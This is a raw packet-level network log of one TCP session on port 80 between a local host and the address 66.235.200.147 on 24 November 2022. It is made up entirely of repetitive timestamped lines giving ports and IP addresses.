Nov 24, 2022 13:27:53.324836969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324856997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324866056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324883938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324896097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324908972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324925900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324939966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324954987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324970007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.324984074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.324999094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325014114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325026989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325042009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325057030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325069904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325081110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325095892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325107098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325123072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325136900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325148106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325167894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325174093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325190067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325198889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325212002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325223923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325247049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325247049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325268030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325273037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325294971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325300932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325316906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325326920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325346947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325352907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325371981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325381041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325398922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325409889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325431108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325438023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325453043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325465918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325484991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325494051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325505972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325519085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325535059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325546980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325558901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325572014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325588942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325598955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325613976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325624943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325638056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325650930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325665951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325678110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325695038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325704098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325716019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325728893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325746059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325753927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325767040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325778008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325794935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325804949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325818062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325830936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325855017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325875998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325875998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325879097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325896025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325902939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325918913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325925112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325946093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325961113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.325964928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.325984955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326000929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326009035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326020956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326033115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326045990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326061010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326076031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326090097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326098919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326117992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326127052 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326163054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326172113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326195002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326204062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326225042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326234102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326256037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326276064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326283932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326294899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326313972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326322079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326340914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326351881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326370955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326380968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326399088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326406956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326426983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326433897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326456070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326464891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326483965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326493025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326513052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326519966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326541901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326550007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326569080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326579094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326592922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326603889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326617956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326637030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326642036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326652050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326666117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326682091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326687098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326699972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326710939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326723099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326735973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326747894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326761007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326781988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326785088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326798916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326808929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326821089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326836109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326843023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326862097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326874018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326901913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326903105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326931000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326941013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326956987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326966047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.326983929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.326993942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327016115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327025890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327042103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327054977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327066898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327078104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327095032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327106953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327121973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327143908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327150106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327161074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327179909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327186108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327208042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327217102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327234983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327244043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327263117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327280045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327289104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327296972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327315092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327326059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327342033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327351093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327368021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327378988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327394962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327404976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327423096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327441931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327451944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327459097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327480078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327486038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327508926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327517033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327536106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327548027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327565908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327573061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327594995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327601910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327624083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327636957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327651024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327658892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327678919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327685118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327704906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327714920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327732086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327743053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327758074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327769041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327781916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327792883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327806950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327821016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327840090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327851057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327874899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327889919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327898026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327909946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327922106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327933073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327944994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327960014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327969074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.327979088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.327996969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328010082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328023911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328032970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328052044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328061104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328080893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328088045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328108072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328115940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328138113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328144073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328166962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328174114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328197002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328202963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328224897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328233957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328253984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328262091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328283072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328290939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328311920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328320026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328341007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328347921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328371048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328377962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328399897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328406096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328428984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328434944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328458071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328468084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328485966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328495026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328511953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328535080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328547001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328560114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328583956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328588009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328608990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328619957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328634024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328650951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328660011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328684092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328685045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328706026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328707933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328731060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328732014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328752995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328758001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328768969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328785896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328794956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328818083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328823090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328844070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328854084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328871012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328880072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328896999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328907013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328927040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328933001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328955889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328962088 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.328984022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.328990936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329013109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329019070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329040051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329051971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329068899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329077005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329097033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329104900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329124928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329139948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329153061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329160929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329180956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329197884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329209089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329216957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329236984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329246044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329266071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329272985 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329291105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329302073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329318047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329344034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329355001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329368114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329390049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329392910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329416037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329418898 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329440117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329441071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329457045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329463959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329487085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329490900 CET	49702	80	192.168.2.4	66.235.200.147
